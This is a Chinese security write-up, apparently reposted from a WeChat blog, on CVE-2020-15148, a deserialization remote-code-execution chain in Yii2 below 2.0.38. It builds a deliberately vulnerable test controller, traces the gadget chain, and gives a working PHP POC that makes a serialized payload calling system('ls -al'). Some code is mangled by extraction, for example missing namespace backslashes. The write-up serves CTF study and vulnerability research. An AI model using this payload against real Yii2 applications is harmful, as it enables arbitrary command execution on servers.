CVE-2020-15148 Yii2框架反序列化漏洞

admin 2022年3月3日10:26:50评论198 views字数 4935阅读16分27秒阅读模式

文章源自【字节脉搏社区】-字节脉搏实验室

作者-purplet

扫描下方二维码进入社区

CVE-2020-15148 Yii2框架反序列化漏洞

一、漏洞简介

如果在使用yii框架,并且在用户可以控制的输入处调用了unserialize()并允许特殊字符的情况下,会受到反序列化远程命令命令执行漏洞攻击。

该漏洞只是php 反序列化的执行链,必须要配合unserialize函数才可以达到任意代码执行的危害。

二、漏洞影响

Yii2 <2.0.38

三、复现过程

目前该框架版本已经到2.0.42了,而复现该漏洞是因为最近的CTF比赛中已经出现了好几次该框架漏洞的改造题目了,所以我觉得有必要好好对该漏洞进行一个认真的审计复现。

首先从github上下载漏洞源码:https://github.com/yiisoft/yii2/releases/download/2.0.37/yii-basic-app-2.0.37.tgz

解压到Web目录,然后修改一下配置文件。

/config/web.php:

CVE-2020-15148 Yii2框架反序列化漏洞

给cookieValidationKey字段设置一个值”test”
接着添加一个存在漏洞的Action
/controllers/TestController.php:

<?php 
namespace appcontrollers;
use Yii;
use yiiwebControleer;

class TestController extends Controller
{
    public function actionTest(){
        $name = Yii:$app->request->get('unserialize');
        return unserialize(base64_decode($name));
    }
}
?>

之前2021年红帽杯的这道题是直接在/controllers/SiteController.php里修改了actionAbout方法里修改为如下所示,其实本质上与原漏洞是相同的

public function actionAbout($message = 'Hello')
{
    $data = base64_decode($message);
    unserialize($data);
}

反序列化起点

/vendor/yiisoft/yii2/db/BatchQueryResult.php:

<?php
namespace yiidb;

class BatchQueryResult{
    /** 
    ......
    */
    public function __destruct()
    {
        $this->reset();
    }

    public function reset()
    {
        if ($this->_dataReader !== null) {
            $this->_dataReader->close();
        }
        $this->_dataReader = null;
        $this->_batch = null;
        $this->_value = null;
        $this->_key = null;
    }
    /** 
    ......
    */
}
?>

可以看到__destruct()调用了reset()方法
reset()方法中,$this->_dataReader是可控的,所以此处可以当做跳板,去执行其他类中的__call()方法。

__call() //当调用对象中不存在的方法时触发

然后找到一个FakerGenerator类

/vendor/fzaninotto/faker/src/Faker/Generator.php:

<?php
namespace Faker;

class Generator{
    /** 
    ......
    */
    public function format($formatter, $arguments = array())
    {
        return call_user_func_array($this->getFormatter($formatter), $arguments);
    }

    public function getFormatter($formatter)
    {
        if (isset($this->formatters[$formatter])) {
            return $this->formatters[$formatter];
        }
        foreach ($this->providers as $provider) {
            if (method_exists($provider, $formatter)) {
                $this->formatters[$formatter] = array($provider, $formatter);

                return $this->formatters[$formatter];
            }
        }
        throw new InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
    }

    public function __call($method, $attributes)
    {
        return $this->format($method, $attributes);
    }
    /** 
    ......
    */
}
?>

可以看到,此处的__call()方法调用了format(),且format()从$this->getFormatter($formatter)里面取出对应的值后,带入了call_user_func_array()函数中。
由于$this->formatter是我们可控的,所以我们这里可以调用任意类中的任意方法了。
但是$arguments是从yiidbBatchQueryResult::reset()里传过来的,我们不可控,所以我们只能不带参数地去调用别的类中的方法。

到了这一步只需要找到一个执行类即可。
我们可以使用Seay源代码审计的正则全局搜索call_user_func($this->([a-zA-Z0-9]+),
$this->([a-zA-Z0-9]+),得到使用了call_user_func函数,且参数为类中成员变量的所有方法。

CVE-2020-15148 Yii2框架反序列化漏洞CVE-2020-15148 Yii2框架反序列化漏洞

查看后发现yiirestCreateAction::run()和yiirestIndexAction::run()这两个方法比较合适。
这里拿yiirestCreateAction::run()举例
/vendor/yiisoft/yii2/rest/CreateAction.php:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

<?php

namespace yiirest;

 

class CreateAction{

    /** 

    ......

    */

    public function run()

    {

        if ($this->checkAccess) {

            call_user_func($this->checkAccess, $this->id);

        }

 

        /* @var $model yiidbActiveRecord */

        $model new $this->modelClass([

            'scenario' => $this->scenario,

        ]);

 

        $model->load(Yii::$app->getRequest()->getBodyParams(), '');

        if ($model->save()) {

            $response = Yii::$app->getResponse();

            $response->setStatusCode(201);

            $id = implode(','array_values($model->getPrimaryKey(true)));

            $response->getHeaders()->set('Location', Url::toRoute([$this->viewAction, 'id' => $id], true));

        elseif (!$model->hasErrors()) {

            throw new ServerErrorHttpException('Failed to create the object for unknown reason.');

        }

 

        return $model;

    }

    /** 

    ......

    */

}

?>

$this->checkAccess和$this->id都是我们可控的。所以整个利用链就出来了。

yiidbBatchQueryResult::__destruct()
->
FakerGenerator::__call()
->
yiirestCreateAction::run()


构造POC如下:

<?php
namespace yiirest{
    class CreateAction{
        public $checkAccess;
        public $id;

        public function __construct(){
            $this->checkAccess = 'system';
            $this->id = 'ls -al';
        }
    }
}

namespace Faker{
    use yiirestCreateAction;

    class Generator{
        protected $formatters;

        public function __construct(){
            $this->formatters['close'] = [new CreateAction, 'run'];
        }
    }
}

namespace yiidb{
    use FakerGenerator;

    class BatchQueryResult{
        private $_dataReader;

        public function __construct(){
            $this->_dataReader = new Generator;
        }
    }
}
namespace{
    echo base64_encode(serialize(new yiidbBatchQueryResult));
}
?>

参考连接

https://xz.aliyun.com/t/8307

通知!

公众号招募文章投稿小伙伴啦!只要你有技术有想法要分享给更多的朋友,就可以参与到我们的投稿计划当中哦~感兴趣的朋友公众号首页菜单栏点击【商务合作-我要投稿】即可。期待大家的参与~

CVE-2020-15148 Yii2框架反序列化漏洞

记得扫码

关注我们


本文始发于微信公众号(台下言书):CVE-2020-15148 Yii2框架反序列化漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月3日10:26:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2020-15148 Yii2框架反序列化漏洞https://cn-sec.com/archives/490772.html

发表评论

匿名网友 填写信息